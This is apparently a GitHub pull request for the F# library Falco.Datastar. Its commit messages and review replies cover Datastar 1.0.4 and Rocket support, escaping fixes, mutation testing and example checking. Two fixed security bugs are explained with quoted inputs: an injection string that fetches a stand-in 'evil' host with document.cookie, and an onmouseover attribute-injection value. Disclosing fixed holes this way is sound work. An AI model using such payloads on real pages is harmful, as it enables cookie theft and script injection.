that the values are spread rather than clustered, both of which a broken generator
passes by returning one value forever.

The mutation and DST runs were manual only, so "every mutant is killed" was a claim
about one afternoon. Deleting the test that caught a mutant changed nothing until
someone remembered to click Run workflow. Both now run on a schedule as well as on
demand, and the mutation job checks the list against the source before spending
twenty minutes on it, and puts the source back even if the job was cancelled.

Also fixes a trap in the manifest generator. It was Array.init length (fun i ->
randomComponent generator i), and F# does not promise argument evaluation order, so
the generator advanced in whatever order the compiler chose and the manifest a seed
produced could differ between a debug and a release build. It is a fold now.

The seed count is also validated rather than silently ignored, so a typo in
DST_SEEDS does not quietly run 25 seeds and look like a pass.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The warning gate in CI is the point of having one: this upcast became unnecessary
when the manifest generator changed shape, and a library with warnings is not
finished.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The security ones first, because they are the ones that matter.

DsAttr.generateKey checked the target and each modifier value, but wrote the
plugin name and the modifier names straight into the attribute name. Falco.Markup
does not escape an attribute name, so a quote in either one would end the name and
add attributes of its own. Nothing in this repository reaches it today, because
every call site passes a literal, but the guard existed for exactly this and was
one line away.

RequestCancellation = AbortController wrote its argument as raw JavaScript after
only checking it was not blank, and the library deliberately writes it as code
rather than as text because Datastar only accepts an AbortController object. So
AbortController "$ctl'||fetch('//evil/'+document.cookie)||'" reached the page as
live JavaScript. It is now checked to be a signal reference, which is the only
shape that makes sense there.

ContentType = CustomJson null raised NullReferenceException from inside the
serializer, where every other bad input on that record raises an ArgumentException
that says what to do. It now sends a null payload.

SignalPath.getSignalFromJson caught every exception and returned ValueNone, so a
signal whose value was the wrong type looked exactly like a signal that was not
there. A missing path is still ValueNone; a value that cannot be read now raises.

And Ds.bindProp's documentation said to write "someProp", which Datastar reads as
"someprop" because its camel case only removes hyphens. The example now says
"some-prop" and says why.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…hat could never fire

Ds.ref wrote the signal name into the attribute's value with no escaping, and
Falco.Markup does not escape attribute values. Ds.ref "a\" onmouseover=\"x"
rendered as <div data-ref="a" onmouseover="x"></div>, which is the same shape of
bug as the DsAttr guard holes, in the one place the escaping had been missed.
Ds.nonce already escaped its value; Ds.ref now does the same.

The mutation tool reported which source files no mutant touches, so that "all
killed" is not mistaken for coverage of the library. That report never fired,
because `a |> Set.difference b` passes a as the LAST argument and so computes
b minus a, which is empty whenever the two overlap. It compiled, it type-checked,
and it was silently useless. RocketManifest.fs had zero mutants the whole time
the report claimed otherwise; it has five now.

It also drains a child process's stdout and then its stderr. That deadlocks as
soon as the second pipe buffer fills while nothing is reading it, which a chatty
`dotnet test` will do. The comment claimed the deadlock was avoided. Both reads
now start before either is awaited, and a child writing to both streams no longer
hangs.

The dst workflow also tested net8.0 with --no-build after building only net10.0,
so it failed on every run. It builds its own target now.

Four public helpers had no test at all, which the surviving mutants said plainly:
Ds.preserveAttr, Ds.ignoreSelf, Ds.ignoreMorph, Ds.onSignalPatch and Ds.ref. They
are pinned now. Three of the four Response mutants survived because the of
functions wrap the sse ones, so a test written against the sse version passed
even when the of one dropped what it was given; each now goes through the of
version with options that change the wire format.

And Ds.text and Ds.show each exist twice, as a string and a typed overload, so
mutating one left the other correct. Both are listed now.

build.yml also builds the mutation program, which is deliberately outside the
solution, so a syntax error in it cannot land green on every push.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…signal

Datastar's Rocket rewrites data-bind, data-computed, data-indicator and
data-signals to a component's own signal only for a signal that component declared
with $$('name', value) in its setup, and only inside that component. Everywhere else
the name is used exactly as written, which is what a page signal is.

The typed helpers used to accept a Signal.rocket and write data-signals:count, which
is character-for-character what Signal.server "count" writes, so the scope was
discarded and two components would share the state. It is refused now, with a
message that says what to write instead. Reading a Rocket signal in an expression is
unchanged and still writes $$name, which is the thing Rocket does scope.

The example and the E2E site declared their component signals with
Ds.signal (rocketSignal, value), which now raises; they use SignalPath.sp, which is
what the string helper has always done and what Rocket resolves to the local. Both
still pass, including the browser tests that click through them.

Two docs stated promises Datastar does not keep. data-computed is called read-only
and Ds.bindProp says Datastar only removes hyphens from a property name; both are
now what Datastar actually does. CaseStyle.Kebab was left as it is, after checking
the source: Datastar has no kebab function because keeping the name as written is
what preserves the hyphens, so asking for it is exactly right.

The audit that found all of this read the Datastar v1.0.4 sources rather than the
documentation, which is the point: a test suite can only check this library against
itself.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…eady did

An audit of every hunk against main found three changes that were not this branch's
to make, because they altered the behaviour of code that shipped before it.

SignalPath.getSignalFromJson used to return ValueNone for a value of the wrong type.
I had changed it to raise, which is defensible but is Falco's own contract rather than
Datastar's, so it is back to exactly what main does, down to the three lines of it.

Retry.Serialize, RequestCancellation.Serialize and RequestOptions.Serialize were
public members on main and I had made them internal. That is a silent compile break for
anyone calling one, and nothing in the changelog said so. They are public again. The
generated XML from a released build shows RequestOptions.Serialize was part of the
package surface, which is how they should have been treated.

Ds.ref now escapes its name, which does change the rendered bytes for a name containing
a quote, angle bracket or ampersand. That one stays: the old output was a live
attribute-injection hole, and no caller can sanely depend on it. The changelog says so
and shows the input that changed.

Two changelog entries were wrong and are corrected. It described the getSignalFromJson
change that has just been reverted, and it presented the case-insensitive duplicate
header check as if it had always raised when it is new. And setAll is now documented
with the reason it changed: Datastar reads @setall(value, filter) and @toggleAll(filter),
so the prefix-first form main wrote did nothing at all.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…very build

An audit of every claim the README makes against the Datastar v1.0.4 source, rather
than against its documentation, checked 96 of them. 88 were right, and four were not.
Two of the four were behaviour a reader would rely on.

The reason given for refusing a hyphen in a signal name was wrong. Datastar's own
signal pattern treats '-' as part of a name, and its source says so: '$foo-bar ->
$['foo-bar']', where '$foo - $bar' is the subtraction. The rule is still right, but
for a narrower reason: the name also has to survive an attribute name, and the HTML
parser has already lowercased it there, so myCount and my-count would be two signals.
The README and the error message now say that instead. The separate note about
spacing operators around minus is right, because that is the case Datastar reads as
subtraction, and it now reads as a deliberate companion rather than a contradiction.

'$count -> count.value' described an API that does not exist. Datastar 1.0.4 rewrites
$count to a read of the signal, and the root proxy returns the value, so there is no
.value accessor anywhere in the library. That was the pre-1.0 mental model, and it
was the most repeated idea in the section that explains what '$' means.

The version boundaries for bindProp and bindEvent were checked against the tags: the
__prop modifier is absent in RC.7 and present in 1.0.0, so the original note was
right and an edit that 'corrected' it was wrong. Reverted.

And three things the README asserted without explaining, each of which a reader hits
on a first app: a read handler has to send the state before it waits, because a
reopened stream has no state; data-on-signal-patch listens on the document, so a
filter is effectively required; and Ds.indicator only moves when it is on the same
element as the action. Ds.signals also now says that a property name is one signal
rather than a path.

The compression example was missing `open Microsoft.AspNetCore.ResponseCompression`,
which is how the example checker found it. test/readme-examples.fsx type-checks every
standalone block in the README and the changelog against the built library, and build.yml
runs it. Seven of the fourteen blocks stand alone and are checked; the rest continue from
a block above them and are listed with the reason, so a block that stops being one stops
being skipped.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Copilot AI balanced review requested due to automatic review settings October 4, 2026 16:03

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot review overview

🟡 Changes recommended

Rocket signal scoping is implemented from an incorrect upstream premise, with additional escaping, parsing, API-safety, and test-harness defects.

Review effort: Balanced
Findings: 1 High severity · 10 Medium severity · 6 Low severity

Open (17)
What changed in this PR

Updates Falco.Datastar for Datastar 1.0.4 with typed APIs, Rocket support, corrected request behavior, and expanded verification.

Changes:

  • Adds typed signals, expressions, statements, and Rocket helpers.
  • Adds Rocket manifest parsing and request handling.
  • Expands unit, property, simulation, mutation, browser, documentation, and CI checks.
File Description
.commandcode/​taste/​taste.md Adds assistant-profile pointer.
.commandcode/​taste/​taste/​taste.md Adds contributor-specific assistant profile.
.github/​workflows/​build.yml Expands build, test, documentation, and package checks.
.github/​workflows/​dst.yml Adds scheduled simulation tests.
.github/​workflows/​e2e.yml Adds on-demand browser tests.
.github/​workflows/​mutation.yml Adds scheduled mutation testing.
CHANGELOG.md Documents 1.4.0 behavior and migration.
Falco.Datastar.sln Adds the Rocket example and fixes path casing.
README.md Documents typed and Rocket APIs.
examples/​RocketComponents/​RocketComponents.fs Implements the Rocket example application.
examples/​RocketComponents/​RocketComponents.fsproj Defines the example project.
examples/​RocketComponents/​appsettings.json Configures the example host.
src/​Falco.Datastar/​Ds.fs Adds typed overloads and corrected Datastar helpers.
src/​Falco.Datastar/​Expr.fs Implements typed signals, expressions, and statements.
src/​Falco.Datastar/​Falco.Datastar.fsproj Updates package version and source dependencies.
src/​Falco.Datastar/​Request.fs Adds Rocket manifest request reading.
src/​Falco.Datastar/​Rocket.fs Adds server-side Rocket helpers.
src/​Falco.Datastar/​RocketManifest.fs Parses Rocket manifests.
src/​Falco.Datastar/​Types.fs Extends request options and attribute types.
src/​Falco.Datastar/​Utility.fs Adds escaping, validation, and kebab conversion.
test/​Falco.Datastar.E2E/​BrowserFixture.fs Hosts shared browser and example fixtures.
test/​Falco.Datastar.E2E/​BrowserTests.fs Exercises behavior in Chromium.
test/​Falco.Datastar.E2E/​Falco.Datastar.E2E.fsproj Defines the browser-test project.
test/​Falco.Datastar.E2E/​Program.fs Adds the test executable entry point.
test/​Falco.Datastar.E2E/​README.md Documents browser testing.
test/​Falco.Datastar.E2E/​Site.fs Provides browser-test pages and endpoints.
test/​Falco.Datastar.Tests/​CompatibilityTests.fs Compile-checks compatibility promises.
test/​Falco.Datastar.Tests/​DistributionTests.fs Checks simulation-generator distributions.
test/​Falco.Datastar.Tests/​DsTests.fs Expands helper output tests.
test/​Falco.Datastar.Tests/​Dst.fs Adds deterministic simulation orchestration.
test/​Falco.Datastar.Tests/​DstHtmlTests.fs Simulates hostile HTML inputs.
test/​Falco.Datastar.Tests/​DstManifestTests.fs Simulates malformed manifests and streams.
test/​Falco.Datastar.Tests/​EscapingTests.fs Tests escaping boundaries.
test/​Falco.Datastar.Tests/​ExprTests.fs Tests typed expressions and statements.
test/​Falco.Datastar.Tests/​Falco.Datastar.Tests.fsproj Expands frameworks and test dependencies.
test/​Falco.Datastar.Tests/​Fragments.fs Defines weighted hostile inputs.
test/​Falco.Datastar.Tests/​Generator.fs Implements deterministic SplitMix64 generation.
test/​Falco.Datastar.Tests/​GeneratorTests.fs Pins generator behavior.
test/​Falco.Datastar.Tests/​PropertyTests.fs Adds property-based invariants.
test/​Falco.Datastar.Tests/​README.md Documents the test strategy.
test/​Falco.Datastar.Tests/​RequestOptionsTests.fs Tests corrected request serialization.
test/​Falco.Datastar.Tests/​RequestTests.fs Tests request signal reading.
test/​Falco.Datastar.Tests/​ResponseTests.fs Tests SSE response helpers.
test/​Falco.Datastar.Tests/​RocketManifestTests.fs Tests manifest parsing and limits.
test/​Falco.Datastar.Tests/​RocketTests.fs Tests Rocket rendering helpers.
test/​Falco.Datastar.Tests/​TestHelpers.fs Adds shared test utilities.
test/​mutation/​Mutants.fs Defines mutation cases.
test/​mutation/​Program.fs Adds mutation-runner CLI handling.
test/​mutation/​Runner.fs Runs and restores source mutations.
test/​mutation/​mutation.fsproj Defines the mutation project.
test/​readme-examples.fsx Type-checks documentation examples.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread src/Falco.Datastar/Request.fs Outdated
Comment thread src/Falco.Datastar/Expr.fs Outdated
Comment thread src/Falco.Datastar/Expr.fs Outdated
Comment thread src/Falco.Datastar/Rocket.fs Outdated
Comment thread src/Falco.Datastar/RocketManifest.fs Outdated
Comment thread CHANGELOG.md Outdated
Comment thread README.md Outdated
Comment thread README.md Outdated
Comment thread src/Falco.Datastar/Ds.fs Outdated
Comment thread src/Falco.Datastar/Ds.fs Outdated
WillEhrendreich and others added 2 commits October 4, 2026 13:41
The review said Rocket scopes an attribute's signal name to the component whether
or not setup declared it. That is right, and the refusal added here for the
opposite reason removed a valid use.

Rocket's rewriteDataAttributes turns data-signals:NAME into
data-signals:SIGNAL_PATH_BASE.NAME, and does the same for the key of data-bind,
data-computed and data-indicator, for every element in the component's subtree. A
name the setup declared is mapped through the component's local signals; one it
did not still gets the component's path. Either way two instances of a component
never share it, so a Rocket signal is correct in an attribute key. The check for
it had read only the localSignals lookup and missed the fallthrough that prefixes
the path. Ds.signal, Ds.bind, Ds.computed and Ds.indicator take one again, the
tests that asserted the refusal now assert the output, and what the scoping
actually needs, a component to be rendered inside, is documented rather than
refused.

Request.getRocketManifests used Encoding.UTF8, which replaces a byte it cannot
decode with U+FFFD and carries on, so a body that was not valid UTF-8 arrived with
a tag name or a doc string quietly altered and then parsed as a manifest. It now
decodes strictly and returns NotJson.

The arithmetic operators and Rocket.propNumber took anything IFormattable, which
string, DateTime, DateTimeOffset, Guid and TimeSpan all are, so Expr.add on a
Signal<string> compiled. They now need System.Numerics.INumberBase, which is the
set of types JavaScript's number type stands for. propNumber also refuses a value
that is not finite: Rocket's number codec runs Number(value) and turns anything
not finite into 0, so NaN reached the component as 0 rather than as an error.

RocketManifest.parse read a property of the wrong kind as absent, so
"required":"yes" became Required = false, which is a different claim from the one
the manifest makes. required, kind, bubbles, composed, description, label,
control and placeholder now give WrongKind, naming the property and where it is.

The two case-insensitive regexes of Datastar's kebab function folded by .NET's
current culture, where JavaScript has none. Under Turkish an I no longer matched
[a-z], so "rowI1" became row-i1 where Rocket reads row-i-1, and the kebab cache
kept the wrong attribute name for the life of the process. Both fold the way
JavaScript does. The test builds the culture by name and skips on a runtime with
no ICU rather than passing for the wrong reason.

A U+2028 or U+2029 straight after a backslash in a signals filter fell through
to the catch-all and was written raw. A regular expression literal cannot contain
a line terminator, so the whole filter expression failed to parse.

The distribution test inferred which group a draw came from by looking its text
up, and a fragment that is in two groups, such as ' in attributeBreak and
quoteEnd, always counted for the first. The generator now returns the index it
chose.

The example checker skipped any block not beginning with "let", which was 58 of
71 in the README and all three in the changelog, while reporting how many it had
checked. Every block is checked now unless it carries a README-EXCERPT marker,
which is read from the block and whose reason is printed every run. It also ran
the blocks rather than loading them, so the getting-started block started a web
server on port 5000 and every block after it failed; it loads them with --use,
which type-checks without evaluating. Both streams are drained at once, since
reading stdout to the end first deadlocks once stderr fills.

The .commandcode taste files are assistant preferences, not source, and are
removed and ignored.

335 tests on net8.0, net9.0 and net10.0, and 98 mutants still matching the source.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The check on the documented examples was not checking them. It ran each
block through `dotnet fsi --use:`, which loads and evaluates the file, so
the getting-started example called `.Run()`, bound port 5000, and the
process sat there until it was killed. That is why this step used to take
half an hour, and it is why it was easy not to notice.

It now compiles each block with fsc, which never evaluates, so an example
that starts a web server costs nothing. The block is written as a .fs file
inside a module, because fsc takes a program and not a script.

Each block is compiled on its own rather than sharing one file, so a block
that only compiles because an earlier one defined a name fails. That is the
property a reader needs, and it is why there is one compiler process per
block.

Two things were wrong beyond the hang:

- The run printed a failure and exited zero, so a broken example was a green
  build. It now exits nonzero.
- It reported how many blocks it had checked without asserting it, which is
  how an earlier version came to skip 58 of 71 and still look like coverage.
  A floor on the count now fails the build.

Eleven examples are fragments of an example above them and cannot stand
alone; each now says so in a README-EXCERPT comment with the reason, and the
reason is printed on every run. Three real mistakes in the README were found
on the way: a stray leading space in a code block, and two fragments that
were missing an `open`.

Verified by breaking an example and confirming this fails and exits 1,
rather than by the run passing.

Co-authored-by: CommandCodeBot <noreply@commandcode.ai>
@WillEhrendreich

Copy link
Copy Markdown
Contributor Author

All 17 findings addressed and each thread answered and resolved. Summary of what changed, and one correction worth reading first.

The Rocket scoping finding was right and my original reasoning was wrong.

I had refused Signal.rocket in Ds.signal/bind/computed/indicator on the premise that Rocket only scopes a signal the component declared with $$('name', value). Reading rewriteDataAttributes in library/src/rocket/template.ts at v1.0.4 shows the lookup in localSignals is not a gate: it falls through to prefixing with signalPathBase either way. My earlier reading stopped at the lookup and missed the fallthrough, so the refusal was removing working behaviour and the README told people to do something they did not need to do. The refusal is gone, the tests that encoded it now assert the rendered output, and the actual requirement — that a component be rendered — is documented rather than refused.

The rest, all verified against the Datastar v1.0.4 source before changing anything:

Area Fix
Manifest decoding Malformed UTF-8 is rejected instead of decoded with replacement characters
Arithmetic INumberBase<'T> instead of IFormattable, so DateTime/Guid/string are compile errors
propNumber Non-finite values refused; JavaScript Number(...) would have turned them into 0
Manifest optionals A wrong-typed field is reported as wrong, not silently read as absent
Kebab conversion Culture-invariant, matching JavaScript under a Turkish locale
Regex escaping U+2028/2029 escaped after a backslash, which is the position that matters
Fragment distribution Generation carries the chosen group index, so measured weights match configured
Documentation examples See below

The documentation-example check was not checking anything, in two ways.

It only inspected blocks beginning with let, so 58 of 71 README blocks were skipped while the run still printed how many it had checked. And it ran each block with dotnet fsi --use:, which loads and evaluates the file — the getting-started example called .Run(), bound port 5000, and the process hung there. That is where the half-hour runtime came from; it was never compiler startup cost.

It now compiles each block with fsc, which never evaluates, so an example that starts a web server costs nothing. Each block is compiled alone, so a block that only compiles because an earlier one defined a name fails. A failure now exits nonzero, and a floor on the block count fails the build, so this cannot quietly go back to checking nothing.

Turning it on found three real mistakes in the README: a stray leading space in a code block, and two fragments missing an open. Eleven fragments genuinely cannot stand alone — they continue an example above them — and each now says so in a README-EXCERPT comment with the reason, printed on every run.

Verification. 335 tests green on net8.0, net9.0 and net10.0; 19 browser tests green in Chromium; solution builds with no warnings outside the NuGet advisories the project deliberately allows; package gate reads the built .nupkg; 98 mutants validate; every documented example compiles. The example checker was confirmed by breaking an example and checking that it fails, rather than by the run passing.

One caveat worth stating: the full mutation run (all 98 mutants killed, roughly 25 minutes) has not been re-run since e5ab4fd; the fast check passes and the full suite runs on the weekly schedule.

The full mutation run reported 96 of 98 killed and left two as survivors,
each printed as a test to write. Both were investigated and neither is a
gap in the tests. They are mutations the code cannot tell apart from the
original, and saying so is the honest outcome; writing a test that claims
to catch them would be worse than recording the measurement.

`a response starts the stream twice`: the SDK's StartServerEventStreamAsync
is idempotent. Its state machine assigns the content type and cache control
rather than appending, so a second call leaves one value in the header
collection, writes nothing to the body and throws nothing. Measured against
the real SDK, all three are identical after one call and after two. The
first attempt at a test for this counted header values and did kill the
mutant, but only because the task had not been awaited yet; once awaited
the count stayed at 1 and the test would have passed for the wrong reason.
That test is not in this commit.

`ofRemoveElementOptions ignores the options the caller passed`:
RemoveElementOptions has one field, EventId, and a removal event carries no
id. Confirmed by compiling a record update naming a field the SDK does not
have, which is rejected, and by reading the bytes the SDK writes. The
existing test already asserts there is no id on a removal.

Both now carry the evidence in the mutant list, so a later run reports them
as equivalent rather than as work outstanding.

Co-authored-by: CommandCodeBot <noreply@commandcode.ai>
@WillEhrendreich

Copy link
Copy Markdown
Contributor Author

Follow-up: the full mutation run finished, so this is no longer resting on the weekly schedule.

96 of 98 killed. The other two are not test gaps — they are mutations the code genuinely cannot be told apart from the original, and I investigated both rather than writing tests that claim to catch them.

a response starts the stream twice — the SDK's StartServerEventStreamAsync is idempotent. Its state machine assigns ContentType and CacheControl rather than appending, so a second call leaves one value in the header collection, writes nothing to the body, and throws nothing. Measured against the real SDK, all three are identical after one call and after two.

Worth recording honestly: I first wrote a test for this that counted header values, and it killed the mutant — but only because the task had not been awaited yet. Once awaited, the count stayed at 1 and the test would have passed for entirely the wrong reason. I did not keep it. A green test that catches a bug by accident is worse than an honest survivor.

ofRemoveElementOptions ignores the options the caller passed — RemoveElementOptions has exactly one field, EventId, and a removal event carries no id. Confirmed by compiling a record update naming a field the SDK does not have (rejected) and by reading the bytes the SDK writes. The existing test already asserts there is no id on a removal, so passing the options and dropping them produce identical wire output. The overload still passes them.

Both are now marked equivalent in the mutant list with the measurement as evidence, so future runs report them as such rather than as outstanding work. All 98 mutations are accounted for.

Everything else re-verified after the change: 335 tests green on net8.0/net9.0/net10.0, solution builds with no warnings outside the NuGet advisories the project allows, all 63 documented examples compile, mutant list validates.

WillEhrendreich and others added 2 commits October 4, 2026 22:07
Sorting the SDK directory names as text puts "9.0.301" above "10.0.401",
because "9" is the larger character. The example check was therefore
compiling every documented example with the oldest SDK on the machine
rather than the one the library is built with, and quietly checking them
against a language version the project does not target. A block using
something the real compiler accepts could have been rejected, or the
reverse, with nothing in the output to say which compiler ran.

Versions are now compared as numbers, and a directory whose name is not a
release version, such as "11.0.100-rc.1", is skipped rather than read as
far as it parses.

Verified against the versions actually installed: 10.0.401 and an 11.0
preview, where the old sort picked the preview.

Co-authored-by: CommandCodeBot <noreply@commandcode.ai>
…name

Two ways this would have failed on a machine that is not mine.

The compiler was started with its file name and every reference joined into
one argument string, so any path containing a space was split into two
arguments. The scratch file is under the temp directory and the SDK is
under the user's home, so a checkout under "C:\Program Files", or a user
directory with a space in it, fails to build or references the wrong
assembly. The arguments now go on the list the BCL quotes for us. Setting
both the list and the joined string is refused outright, so only the list
is set.

The scratch file was named from a hash of the block's text, so two
identical examples shared one file name and the second overwrote the first
while its compiler was still reading it. It now carries a counter.

Verified both ways: 63 examples type-check and the run exits 0, and with
one example deliberately broken it reports that block and exits 1.

Co-authored-by: CommandCodeBot <noreply@commandcode.ai>
@pimbrouwers
pimbrouwers merged commit bc01c27 into falcoframework:main Oct 6, 2026
1 check passed
@WillEhrendreich
WillEhrendreich deleted the task/datastar-1.0.4-rocket branch October 7, 2026 16:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants